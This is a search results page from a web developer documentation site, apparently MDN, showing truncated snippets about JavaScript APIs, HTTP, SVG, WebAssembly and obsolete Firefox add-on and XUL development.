... <button id="ajaxbutton" type="button">make a request</button> <script> (function() { var httprequest; document.getelementbyid("ajaxbutton").addeventlistener('click', makerequest); function makerequest() { httprequest = new xmlhttprequest(); if (!httprequest) { alert('giving up :( cannot create an xmlhttp instance'); return false; } httprequest.onreadystatechange = alertcontents; httprequest.open('get', 'test.html'); httprequest.send(); } function alertcontents() { if (httprequest.readystate === xmlhttprequest.done) { if (httprequest.status === 200) { alert(htt...
... simple timed xhr example another simple example follows — here we are loading a text file via xhr, the structure of which is assumed to be like this: time: 312.05 time: 312.07 time: 312.10 time: 312.12 time: 312.14 time: 312.15 once the text file is loaded, we split() the items into an array at each newline character (\n — basically where each line break is in the text file), and then print the complete list of timestamps, and the last timestamp, onto the page.
...And 2 more matches
Video player styling basics - Developer guides
in order to facilitate this, a new function is defined called changebuttonstate(), which accepts a type variable indicating the button's functionality: var changebuttonstate = function(type) { // play/pause button if (type == 'playpause') { if (video.paused || video.ended) { playpause.setattribute('data-state', 'play'); } else { playpause.setattribute('data-state', 'pause'); } } ...
...ddeventlistener('click', function(e) { video.pause(); video.currenttime = 0; progress.value = 0; // update the play/pause button's 'data-state' which allows the correct button image to be set via css changebuttonstate('playpause'); }); mute.addeventlistener('click', function(e) { video.muted = !video.muted; changebuttonstate('mute'); }); you might have noticed that there are new handlers where the play and pause events are reacted to on the video.
...to ensure this, a new click handler needs to be defined for the play/pause button so that it too raises the play and pause events: playpause.addeventlistener('click', function(e) { if (video.paused || video.ended) video.play(); else video.pause(); }); volume the altervolume() function, called when the player's volume buttons are clicked, also changes — it now calls a new function called checkvolume(): var ...
...And 2 more matches
Writing Web Audio API code that works in every browser - Developer guides
furthermore, as a result of the spec being still in flux, some browsers use deprecated properties and method names that are not present in standards-compliant browsers: safari uses the old method names, firefox uses the new ones, and chrome and opera use both.
...once you include it in your page, you can write in "modern web audio api" style, and do things such as: var audiocontext = new audiocontext(); everywhere, including chrome/ium, opera, safari, and ---of course!--- firefox.
... also, if new methods such as start are not detected in some nodes, the library will also alias them to their old names.
...And 2 more matches
Creating and triggering events - Developer guides
creating custom events events can be created with the event constructor as follows: const event = new event('build'); // listen for the event.
... for example, the event could be created as follows: const event = new customevent('build', { detail: elem.dataset.time }); this will then allow you to access the additional data in the event listener: function eventhandler(e) { console.log('the time is: ' + e.detail); } the old-fashioned way the older approach to creating events uses apis inspired by java.
...elem.dispatchevent(event); event bubbling it is often desirable to trigger an event from a child element, and have an ancestor catch it; optionally, with data: <form> <textarea></textarea> </form> const form = document.queryselector('form'); const textarea = document.queryselector('textarea'); // create a new event, allow bubbling, and provide any data you want to pass to the "detail" property const eventawesome = new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } }); // the form element listens for the custom "awesome" event and then consoles the output of the passed text() method form.addeventlistener('awesome', e => console.log(e.detail.text())); // as the user...
...And 2 more matches
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
gecko 2 introduces a new parser, based on html5.
...the new parser is faster, complies with the html5 standard, and enables a lot of new functionality as well.
... the new parser introduces these major improvements: you can now use svg and mathml inline in html5 pages, without xml namespace syntax.
...And 2 more matches
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
12-hour 24-hour chrome 83 in chrome 83, the ui controls have been updated with a new look and feel.
... the new element is functionally identical to the old one, but has a similar ui to edge.
...when this happens, the contents of the <span> are replaced with the new value of the input element.
...And 2 more matches
HTTP caching - HTTP
WebHTTPCaching
that way each new revision of this resource is considered as a resource on its own that never changes and that can have an expiration time very far in the future, usually one year or even more.
... in order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by web developers.
...when these are read, the new versions of the others are also read.
...And 2 more matches
Protocol upgrade mechanism - HTTP
implementations can choose not to take advantage of an upgrade even if they support the new protocol, and in practice, this mechanism is used mostly to bootstrap a websockets connection.
... right after sending the 101 status code, the server can begin speaking the new protocol, performing any additional protocol-specific handshakes as necessary.
... effectively, the connection becomes a two-way pipe as soon as the upgraded response is complete, and the request that initiated the upgrade can be completed over the new protocol.
...And 2 more matches
constructor - JavaScript
class person { constructor(name) { this.name = name; } introduce() { console.log(`hello, my name is ${this.name}`); } } const otto = new person('otto'); otto.introduce(); if you don't provide your own constructor, then a default constructor will be supplied for you.
... is empty: constructor() {} if your class is a derived class, the default constructor calls the parent constructor, passing along any arguments that were provided: constructor(...args) { super(...args); } that enables code like this to work: class validationerror extends error { printcustomermessage() { return `validation failed :-( (details: ${this.message})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); // this is error instead of validationerror!
...for example: class validationerror extends error { constructor(message) { super(message); // call parent class constructor this.name = 'validationerror'; this.code = '42'; } printcustomermessage() { return `validation failed :-( (details: ${this.message}, code: ${this.code})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); // now this is validationerror!
...And 2 more matches
TypeError: "x" is not a constructor - JavaScript
see constructor or the new operator for more information on what a constructor is.
... there are many global objects, like string or array, which are constructable using new.
... examples invalid cases var car = 1; new car(); // typeerror: car is not a constructor new math(); // typeerror: math is not a constructor new symbol(); // typeerror: symbol is not a constructor function* f() {}; var obj = new f; // typeerror: f is not a constructor a car constructor suppose you want to create an object type for cars.
...And 2 more matches
The arguments object - JavaScript
for example, if a function is passed 3 arguments, you can access them as follows: arguments[0] // first argument arguments[1] // second argument arguments[2] // third argument each argument can also be set or reassigned: arguments[1] = 'new value'; the arguments object is not an array.
... arguments[@@iterator] returns a new array iterator object that contains the values for each index in arguments.
...that is, assigning new values to variables in the body of the function will not affect the arguments object.
...And 2 more matches
ArrayBuffer() constructor - JavaScript
syntax new arraybuffer(length) parameters length the size, in bytes, of the array buffer to create.
... return value a new arraybuffer object of the specified size.
... compatibility notes starting with ecmascript 2015, arraybuffer constructors require to be constructed with a new operator.
...And 2 more matches
ArrayBuffer.prototype.slice() - JavaScript
the slice() method returns a new arraybuffer whose contents are a copy of this arraybuffer's bytes from begin, inclusive, up to end, exclusive.
...if end is unspecified, the new arraybuffer contains all bytes from begin to the end of this arraybuffer.
... return value a new arraybuffer object.
...And 2 more matches
Atomics - JavaScript
you cannot use it with a new operator or invoke the atomics object as a function.
... examples using atomics const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.and(ta, 0, 1); atomics.load(ta, 0); // 1 atomics.compareexchange(ta, 0, 5, 12); atomics.load(ta, 0); // 12 atomics.exchange(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.islockfree(1); // true atomics.islockfree(2); // true atomics.islockfree(3); // false atomics.i...
...slockfree(4); // true atomics.or(ta, 0, 1); atomics.load(ta, 0); // 5 atomics.store(ta, 0, 12); // 12 atomics.sub(ta, 0, 2); atomics.load(ta, 0); // 3 atomics.xor(ta, 0, 1); atomics.load(ta, 0); // 4 waiting and notifiying given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
...And 2 more matches
Date.prototype.getTime() - JavaScript
reduced time precision to offer protection against timing attacks and fingerprinting, the precision of new date().gettime() might get rounded depending on browser settings.
... // reduced time precision (2ms) in firefox 60 new date().gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ...
... // reduced time precision with `privacy.resistfingerprinting` enabled new date().gettime(); // 1519129853500 // 1519129858900 // 1519129864400 // ...
...And 2 more matches
Date.parse() - JavaScript
syntax direct call: date.parse(datestring) implicit call: new date(datestring) parameters datestring a string representing a simplification of the iso 8601 calendar date extended format.
... however, invalid values in date strings not recognized as simplified iso format as defined by ecma-262 may or may not result in nan, depending on the browser and values provided, e.g.: // non-iso string with invalid date values new date('23/25/2014'); will be treated as a local date of 25 november, 2015 in firefox 30 and an invalid date in safari 7.
... however, if the string is recognized as an iso format string and it contains invalid values, it will return nan in all browsers compliant with es5 and later: // iso string with invalid values new date('2014-25-23').toisostring(); // throws "rangeerror: invalid date" in all es5-compliant browsers spidermonkey's implementation-specific heuristic can be found in jsdate.cpp.
...And 2 more matches
Date.prototype.toLocaleDateString() - JavaScript
the new locales and options arguments let applications specify the language whose formatting conventions should be used and allow to customize the behavior of the function.
... var date = new date(date.utc(2012, 11, 12, 3, 0, 0)); // tolocaledatestring() without arguments depends on the implementation, // the default locale, and the default time zone console.log(date.tolocaledatestring()); // → "12/11/2012" if run in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in all br...
...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaledatestringsupportslocales() { try { new date().tolocaledatestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales this example shows some of the variations in localized date formats.
...And 2 more matches
Date.prototype.toLocaleTimeString() - JavaScript
the new locales and options arguments let applications specify the language whose formatting conventions should be used and customize the behavior of the function.
... var date = new date(date.utc(2012, 11, 12, 3, 0, 0)); // tolocaletimestring() without arguments depends on the implementation, // the default locale, and the default time zone console.log(date.tolocaletimestring()); // → "7:00:00 pm" if run in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in all br...
...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaletimestringsupportslocales() { try { new date().tolocaletimestring('i'); } catch (e) { return e​.name === 'rangeerror'; } return false; } using locales this example shows some of the variations in localized time formats.
...And 2 more matches
Intl.Collator - JavaScript
constructor intl.collator() creates a new collator object.
... intl.collator.prototype.resolvedoptions() returns a new object with properties reflecting the locale and collation options computed during initialization of the object.
... examples using collator the following example demonstrates the different potential results for a string occurring before, after, or at the same level as another: console.log(new intl.collator().compare('a', 'c')); // → a negative value console.log(new intl.collator().compare('c', 'a')); // → a positive value console.log(new intl.collator().compare('a', 'a')); // → 0 note that the results shown in the code above can vary between browsers and browser versions.
...And 2 more matches
Object.prototype.__proto__ - JavaScript
instead, create a new object with the desired [[prototype]] using object.create().
...for objects created using new fun, where fun is one of the built-in constructor functions provided by javascript (array, boolean, date, number, object, string, and so on — including new constructors added as javascript evolves), this value is always fun.prototype.
... for objects created using new fun, where fun is a function defined in a script, this value is the value of fun.prototype.
...And 2 more matches
handler.setPrototypeOf() - JavaScript
syntax const p = new proxy(target, { setprototypeof: function(target, prototype) { } }); parameters the following parameters are passed to the setprototypeof() method.
... prototype the object's new prototype or null.
... examples if you want to disallow setting a new prototype for your object, your handler's setprototypeof() method can either return false, or it can throw an exception.
...And 2 more matches
SharedArrayBuffer() constructor - JavaScript
syntax new sharedarraybuffer([length]) parameters length the size, in bytes, of the array buffer to create.
... return value a new sharedarraybuffer object of the specified size.
... examples always use the new operator to create a sharedarraybuffer sharedarraybuffer constructors are required to be constructed with a new operator.
...And 2 more matches
String.prototype.repeat() - JavaScript
the repeat() method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together.
... return value a new string containing the specified number of copies of the given string.
...however, you can polyfill string.prototype.repeat() with the following snippet: if (!string.prototype.repeat) { string.prototype.repeat = function(count) { 'use strict'; if (this == null) throw new typeerror('can\'t convert ' + this + ' to object'); var str = '' + this; // to convert string to integer.
...And 2 more matches
Symbol.for() - JavaScript
otherwise a new symbol gets created in the global symbol registry with this key.
... return value an existing symbol with the given key if found; otherwise, a new symbol is created and returned.
...symbol.for() does also not necessarily create a new symbol on every call, but checks first if a symbol with the given key is already present in the registry.
...And 2 more matches
TypedArray.prototype.slice() - JavaScript
the slice() method returns a shallow copy of a portion of a typed array into a new typed array object.
... return value a new typed array containing the extracted elements.
... if a new element is added to either typed array, the other typed array is not affected.
...And 2 more matches
WebAssembly.Global() constructor - JavaScript
a webassembly.global() constructor creates a new global object representing a global variable instance, accessible from both javascript and importable/exportable across one or more webassembly.module instances.
... syntax new webassembly.global(descriptor, value); parameters descriptor a globaldescriptor dictionary object, which contains two properties: value: a usvstring representing the data type of the global.
... examples creating a new global instance the following example shows a new global instance being created using the webassembly.global() constructor.
...And 2 more matches
in operator - JavaScript
let color1 = new string('green') 'length' in color1 // returns true let color2 = 'coral' // generates an error (color2 is not a string object) 'length' in color2 using in with deleted or undefined properties if you delete a property with the delete operator, the in operator returns false for that property.
... let mycar = {make: 'honda', model: 'accord', year: 1998} delete mycar.make 'make' in mycar // returns false let trees = new array('redwood', 'bay', 'cedar', 'oak', 'maple') delete trees[3] 3 in trees // returns false if you set a property to undefined but do not delete it, the in operator returns true for that property.
... let mycar = {make: 'honda', model: 'accord', year: 1998} mycar.make = undefined 'make' in mycar // returns true let trees = new array('redwood', 'bay', 'cedar', 'oak', 'maple') trees[3] = undefined 3 in trees // returns true the in operator will return false for empty array slots.
...And 2 more matches
typeof - JavaScript
type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (new in ecmascript 2020) "bigint" string "string" symbol (new in ecmascript 2015) "symbol" function object (implements [[call]] in ecma-262 terms) "function" any other object "object" note: ecmascript 2019 and older permitted implementations to have typeof return any implementation-defined string value for non-callable non-standard exotic obje...
... typeof symbol('foo') === 'symbol' typeof symbol.iterator === 'symbol' // undefined typeof undefined === 'undefined'; typeof declaredbutundefinedvariable === 'undefined'; typeof undeclaredvariable === 'undefined'; // objects typeof {a: 1} === 'object'; // use array.isarray or object.prototype.tostring.call // to differentiate regular objects from arrays typeof [1, 2, 4] === 'object'; typeof new date() === 'object'; typeof /regex/ === 'object'; // see regular expressions section for historical results // the following are confusing, dangerous, and wasteful.
...typeof new boolean(true) === 'object'; typeof new number(1) === 'object'; typeof new string('abc') === 'object'; // functions typeof function() {} === 'function'; typeof class c {} === 'function'; typeof math.sin === 'function'; typeof null // this stands since the beginning of javascript typeof null === 'object'; in the first implementation of javascript, javascript values were represented as a type tag and a value.
...And 2 more matches
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
a new way of sizing images before loading completes recognizing the problem, a wicg community group formed to propose an intrinsicsize attribute.
... due to this work, browsers are working on adding a new mechanism for sizing images before the actual image is loaded.
... it only works before the image loads the new mechanism currently only works on <img> elements before the image is loaded.
...And 2 more matches
<feColorMatrix> - SVG: Scalable Vector Graphics
every pixel's color value [r,g,b,a] is matrix multiplied by a 5 by 5 color matrix to create new color [r',g',b',a'].
... | r' | | r1 r2 r3 r4 r5 | | r | | g' | | g1 g2 g3 g4 g5 | | g | | b' | = | b1 b2 b3 b4 b5 | * | b | | a' | | a1 a2 a3 a4 a5 | | a | | 1 | | 0 0 0 0 1 | | 1 | in simplified terms, below is how each color channel in the new pixel is calculated.
... r' = r1*r + r2*g + r3*b + r4*a + r5 g' = g1*r + g2*g + g3*b + g4*a + g5 b' = b1*r + b2*g + b3*b + b4*a + b5 a' = a1*r + a2*g + a3*b + a4*a + a5 take the amount of red in the new pixel, or r': it is the sum of r1 times the old pixel's red r, r2 times the old pixel's green g, r3 times of the old pixel's blue b, r4 times the old pixel's alpha a, plus a shift r5.
...And 2 more matches
WebAssembly
webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++, c# and rust with a compilation target so that they can run on the web.
... compiling a new c/c++ module to webassembly when you’ve written code in c/c++, you can then compile it into .wasm using a tool like emscripten.
... webassembly.compileerror() creates a new webassembly compileerror object.
...And 2 more matches
page-worker - Archive of obsolete content
usage the module exports a constructor function page, which constructs a new page worker.
... a page worker may be destroyed, after which its memory is freed, and you must create a new instance to load another page.
...so you can rewrite the above code like this: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "./myfile.html" }); you can load a new page by setting the page worker's contenturl property.
...after you destroy a page worker, its memory is freed and you must create a new instance if you need to load another page.
test/assert - Archive of obsolete content
for example: var a = 1; exports["test value of a"] = function(assert) { assert.ok(a == 1, "test that a is 1"); } require("sdk/test").run(exports); globals constructors assert(logger) create a new assert object.
... to check that the exception thrown contains a specific message, pass a regular expression here: the message property of the exception thrown must match the regular expression for example, suppose we define two different custom exceptions: function myerror(message) { this.name = "myerror"; this.message = message || "default message"; } myerror.prototype = new error(); myerror.prototype.constructor = myerror; function anothererror(message) { this.name = "anothererror"; this.message = message || "default message"; console.log(this.message); } anothererror.prototype = new error(); anothererror.prototype.constructor = anothererror; we can check the type of exception by passing a function as the error argument: exports["test exception type 1 ex...
...pected to pass"] = function(assert) { assert.throws(function() { throw new myerror("custom message"); }, myerror, "test throwing a specific exception"); } exports["test exception type 2 expected to fail"] = function(assert) { assert.throws(function() { throw new myerror("custom message"); }, anothererror, "test throwing a specific exception"); } we can check the message by passing a regular expression: exports["test exception message 1 expected to pass"] = function(assert) { assert.throws(function() { throw new myerror("custom message"); }, /custom message/, "test throwing a specific message"); } exports["test exception message 2 expected to pass"] = function(assert) { assert.throws(function() { throw new anothererror("custom message"); }, /cu...
...stom message/, "test throwing a specific exception"); } exports["test exception message 3 expected to fail"] = function(assert) { assert.throws(function() { throw new myerror("another message"); }, /custom message/, "test throwing a specific message"); } parameters block : block the block of code to test.
Release notes - Archive of obsolete content
firefox 34 highlights new api: dev/panel enables you to extend the firefox developer tools.
... firefox 33 highlights added support for context menus in panels via a new option in the panel constructor.
... firefox 29 highlights added new ui modules for australis: actionbutton, togglebutton, frame and toolbar.
... deprecated widget in favor of the new ui modules.
cfx to jpm - Archive of obsolete content
to get new updates of cfx you download and extract a new zip file, while to get the new version of jpm, use npm update.
... activation you need to call cfx activate before you can use cfx, and this only works in the current command shell: if you open a new shell you have to call activate again.
...for example: addons.mozilla.org uses it to distinguish between new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on.
... with jpm, you must specify the path to "my-addon" explicitly, using a relative path: var my_addon = require("../lib/my-addon"); third-party modules the sdk has always supported third-party modules: developers can write their own modules that extend the sdk's apis or add new apis, and other add-on developers can make use of these modules in the same way that they use the sdk's built-in modules.
Creating annotations - Archive of obsolete content
'click.annotator', function(event) { event.stoppropagation(); event.preventdefault(); self.port.emit('show', [ document.location.tostring(), $(ancestor).attr("id"), $(matchedelement).text() ] ); }); }); conversely, the add-on resets the matched element on mouseout: $('*').mouseout(function() { resetmatchedelement(); }); save this code in a new file called selector.js in your add-on's data directory.
...you should see the highlight appearing when you move the mouse over certain elements: click on the highlight and you should see something like this in the console output: info: show info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/, post-2249,when you submit a new add-on, you will have to choose between 2 review tracks: full review and preliminary review.
...so edit the message handler assigned to the selector so that on receiving the show message we assign the content of the message to the panel using a new property annotationanchor, and show the panel: var selector = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.url('jquery-1.4.2.min.js'), data.url('selector.js')], onattach: function(worker) { worker.postmessage(annotatorison); selectors.push(worker); worker.port.on('show', function(data) { annotationeditor.an...
...you should see a panel with a text area for a note: enter the note and press the return key: you should see console output like this: info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/, post-2249,when you submit a new add-on, you will have to choose between 2 review tracks: full review and preliminary review.
Localization - Archive of obsolete content
hello_id= <blink>hello!</blink> localizing element attributes this feature is new in firefox 39 you can localize certain attributes of elements with an l10n-id by setting its value with l10n-id.attributename in the properties file like: hello_id.accesskey= h the following attributes are supported: accesskey alt label title placeholder further the localization of the aria attributes aria-label, aria-valuetext and aria-moz-hint are supported with the same aliases as ...
... using localized strings in add-on meta data this feature is new in jpm 1.0.6.
...once you've installed it, open the add-on manager, and you'll see a new button labeled "update l10n" next to each add-on you've installed: click the button and you'll be prompted for a new .properties file for that add-on.
... if you provide a new file, the add-on's locale data will be updated with the new file.
JS XPCOM - Archive of obsolete content
accessing xpcom components from javascript xpcom objects are either created as new instances (each creation gives you a completely new com object) or as services (each access gives you the same com object, often called a singleton).
... whether you must create a new instance or access as a service depends on the contract.
...for example, var nsfile = components.constructor("@mozilla.org/file/local;1", "nsifile", "initwithpath"); var file = new nsfile(filepath); they can also be created and initialized manually: var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsifile); file.initwithpath(filepath); this creates a new instance of the object with contract id @mozilla.org/file/local;1 and allows you to call methods from the nsifile interface on it.
... components.utils.import("resource://gre/modules/services.jsm"); components.utils.import("resource://gre/modules/xpcomutils.jsm"); const cc = components.classes; const ci = components.interfaces; function abouthandler() {} abouthandler.prototype = { newchannel: function(uri) { var channel = services.io.newchannel("chrome://mystuff/content/mystuff.xul", null, null); channel.originaluri = uri; return channel; }, geturiflags: function(uri) { // do not return ci.nsiaboutmodule.uri_safe_for_untrusted_content unless // you make sure to set a non-system principal in newchannel.
Windows - Archive of obsolete content
opening new browser windows to open a new browser window, you can simply use window.open().
... example window.open(); //this open a pop-up window that could be "blocked" client-side //the following code generate an error as describe in the following warning box var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var newwindow = wm.getmostrecentwindow("navigator:browser"); var b = newwindow.gbrowser; the code generate a typeerror from firefox console.
... example var startpos = null; function mousedown(event) { startpos = [event.clientx, event.clienty]; } function mousemove(event) { if (startpos) { var newx = event.screenx - startpos[0]; var newy = event.screeny - startpos[1]; window.moveto(newx, newy); } } function mouseup(event) { startpos = null; } window.addeventlistener("mousedown", mousedown, false); window.addeventlistener("mouseup", mouseup, false); window.addeventlistener("mousemove", mousemove, false); xul titlebar element xul applications can take advantage of the titleba...
...each time a new window is created, it gets assigned an id one greater than the last created window.
Common Pitfalls - Archive of obsolete content
how to create a uri object in almost all cases, when creating a uri object you want to use the newuri method on the nsiioservice interface, like so: javascript: try { var ioserv = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uriobj = ioserv.newuri(uristring, uricharset, baseuri); } catch (e) { // may want to catch ns_error_malformed_uri for some applications } c++: nsresult rv; nscomptr<nsiioservi...
...ce> ioserv = do_getservice("@mozilla.org/network/io-service;1"); ns_ensure_success(rv, rv); nscomptr<nsiuri> uriobj; rv = ioserv->newuri(uristring, uricharset, baseuri, getter_addrefs(uriobj)); if (ns_failed(rv)) { // may want to handle ns_error_malformed_uri for // some applications return rv; } or, if the code can include nsnetutil.h: nscomptr<nsiuri> uriobj; nsresult rv = ns_newuri(getter_addrefs(uriobj), uristring, uricharset, baseuri); in all cases the baseuri can be null if the uristring should be treated as an absolute uri and uricharset can be null if there is no clear origin charset for the string (e.g.
...the one exception to all of the above, that is the one case in which creating a specific uri class via createinstance is acceptable, is when one is implementing a protocol handler's newuri method.
... in that case you may not be able to use the i/o service because that service calls the newuri method on the appropriate protocol handler, which may be your own handler.
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
secondly, it instructs the build system to create a new extension, rather than copying the components directly into firefox's binary directory.
...add the following line at the end of the file: ac_add_options --enable-extensions=default,myextension now launch make from the mozilla root: make -f client.mk build even if you have an up-to-date firefox build, you'll have to wait a while for make to recurse over the entire mozilla source tree looking for new stuff (on my machine, which is pretty fast, this takes a good 10-15 minutes).
...just displaying a new menu item that opens a "hello, world!" dialog box would be already be a great exercise to get warmed up with.
...the downside is that you will need to update the modified makefile any time a new version of the library is released.
Inline options - Archive of obsolete content
firefox 7 supports a new syntax for defining extensions' preferences for both bootstrapped and traditional extensions.
... the user interface for the preferences defined with this new syntax appears in the extension's detail view in the add-on manager.
... options file the xul allowed for the inline options is limited to a few new tags.
... <setting pref="extensions.throbberrestored.showtxtontoolbar" title="show text on toolbar button" type="bool" oninputchanged="alert('new value is = ' + this.value); this.style.backgroundcolor='red';"> if labels on other toolbar buttons are visible (like by using add-on "classic theme restorer") then show label on throbber toolbar button </setting> note in order for the oninputchanged to execute, the setting must have a pref attribute, otherwise the oninputchanged will not trigger.
Migrating raw components to add-ons - Archive of obsolete content
as we roll this new behavior out, this document will be updated with additional information addressing scenarios we see developers encountering.
... simple migration if your goal is just to get your raw component working properly as an extension, you can do this in three steps: create a new add-on using the instructions here.
...if this is the only reason you are using a binary component instead of javascript, take a look at the new javascript c-types support introduced in firefox 3.6.
...this leads to a better compatibility path as new versions of firefox are released.
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
select the menu item file:new, and save test_calc.js in the same directory as the file that is the test target.
... listing 2: content for test_calc.js (first-round test case) var testcase = mozlab.mozunit.testcase; var assert = mozlab.mozunit.assertions; var tc = new testcase('rpn calc testcase'); var module = new modulemanager(); var rpncalc = module.require('package', 'calc'); tc.tests = { '2 1 +': function() { var calc = new rpncalc.rpncalc(); calc.init(); calc.push(2); calc.push(1); calc.plus(); assert.equals(calc.pop(), 3); } } listing 3: additional content for calc.js function rpncalc() { this.stack = new array(); } rpnc...
...alc.prototype = { init: function() { this.stack = new array(); }, push: function(val) { this.stack.push(number(val)); }, _letfunc: function(func) { a = this.pop(); b = this.pop(); this.push(func(a, b)); }, plus: function() { return this._letfunc(this._plus); }, _plus: function(a, b) { return a + b; }, pop: function() { return this.stack.pop(); } } check for errors now you’re ready for your first test.
... listing 4: test_calc.js (adding sample test case) '2 1 -': function() { var calc = new rpncalc.rpncalc(); calc.init(); calc.push(2); calc.push(1); calc.minus(); assert.equals(calc.pop(), 1); }, listing 5: calc.js (implementing subtraction operation) minus: function() { this._letfunc(this._minus); }, _minus: function(a, b) { return a - b; }, listing 6: calc.js (correcting mistake in implementation of subtraction) _letfunc: function(func) { // correct pop order b ...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
listing 1 shows how you can use xpconnect to acquire references to xpcom services and create new xpcom objects.
... listing 6: creating an xpcom object representing a file var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath('c:\\temp\\temp.txt'); creating and deleting files listing 7 shows how to delete a file if it exists, and create a new file with the same name.
... listing 11: converting a local file path to a url var path = 'c:\\temp\\temp.txt'; var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath(path); var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var url = ioservice.newfileuri(file); var fileurl = url.spec; alert(fileurl); // "file:///c:/temp/temp.txt" listing 12: converting a url to a local file path var url = 'file:///c:/temp/test.txt'; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var filehandler = ioservice.getprotocolhandler('file') .queryinterface...
... listing 21: loading a page by setting a referrer var browser = document.getelementbyid('browser'); var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var referrer = ioservice.newuri('http://www.gihyo.co.jp/', null, null); browser.loaduri('http://www.gihyo.co.jp/magazines/sd', referrer); listing 22: loading a page with data transmitted via the post method var content = encodeuricomponent('password=foobar'); var referrer = null; var postdata = components.classes['@mozilla.org/io/string-input-stream;1'] .createinstance(components.interfaces.nsistringinputst...
Adding windows and dialogs - Archive of obsolete content
« previousnext » opening windows and dialogs to open a new window, use the javascript window.open function just like with html windows.
...if this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want.
... to open a new dialog, use the function window.opendialog, an extension of the open function.
...whenever you need a new dialog, you should ask yourself if it can be implemented using these common dialogs, and use them whenever it is possible.
Getting Started with Firefox Extensions - Archive of obsolete content
extensions add new functionality to mozilla applications such as firefox and thunderbird.
... they can add anything from a toolbar button to a completely new feature.
... as described in the quoted text, an extension is a small application that adds something new to one or more mozilla applications.
...there's a new menu on the main menu, labeled "hello world!".
Mozilla Documentation Roadmap - Archive of obsolete content
the about:mozilla newsletter is a weekly publication that includes the highlights of what is posted at planet mozilla.
... irc and newsgroups mozilla developers use their irc channels heavily.
... another somewhat obscure communication channel is the mozilla newsgroups.
...thunderbird also comes in handy for reading and posting to the newsgroups.
The Essentials of an Extension - Archive of obsolete content
open a new firefox tab, type chrome://mozapps/content/downloads/downloads.xul on your location bar and press enter.
...an overlay extends an existing window, adding new elements to it or replacing some of the elements in it.
...if you're unfamiliar with javascript or this particular syntax, initializing an object as {} is the equivalent of initializing it to new object().
...you cannot dynamically change an attribute value with a new dtd key, you have to set the new value directly: let helloitem = document.getelementbyid("xulschoolhello-hello-menu-item"); // the alert will say "hello world!" alert(helloitem.getattribute("label")); // wrong helloitem.setattribute("label", "&xulschoolhello.hello2.label;"); // better helloitem.setattribute("label", "alternate message"); // right!
XPCOM Objects - Archive of obsolete content
here's one way to invoke this method: let childarrayobj = new object(); let childarray; this._prefservice.getchildlist("", {}, childarrayobj); // .value holds the actual array.
...*/ readonly attribute short count; /** * increments the display count and returns the new count.
...you must generate a new one for each interface, and you should change it every time the interface changes.
...is._singletonobj) { this._singletonobj = messagecounter; } return this._singletonobj.queryinterface(aiid); } }; if we wanted a class that can be instantiated, instead of a singleton service, the factory would look like this: var counterfactory = { createinstance: function(aouter, aiid) { if (aouter != null) { throw cr.ns_error_no_aggregation; } return (new counter()).queryinterface(aiid); } }; the instructions on how to build an idl file are included in the section setting up a development environment.
Creating reusable content with CSS and XBL - Archive of obsolete content
action: an xbl demonstration make a new html document, doc6.html.
... copy and paste the content from here: <!doctype html public "-//w3c//dtd html 4.0//en"> <html> <head> <title>mozilla css getting started - xbl demonstration</title> <link rel="stylesheet" type="text/css" href="style6.css"> </head> <body> <h1>xbl demonstration</h1> <div id="square">click me</div> </body> </html> make a new css file, style6.css.
...copy and paste the content from here: /*** xbl demonstration ***/ #square { -moz-binding: url("square.xbl#square"); } make a new text file, square.xbl.
...data[ me.square.style.backgroundcolor = "transparent" me.square.style.marginleft = "0" me.button.removeattribute("disabled") ]]></body> </method> </implementation> <handlers> <handler event="click" button="0"><![cdata[ if (event.originaltarget == this.button) this.dodemo() ]]></handler> </handlers> </binding> </bindings> make a new css file, bind6.css.
XUL user interfaces - Archive of obsolete content
action: a xul demonstration make a new xul document as a plain text file, doc7.xul.
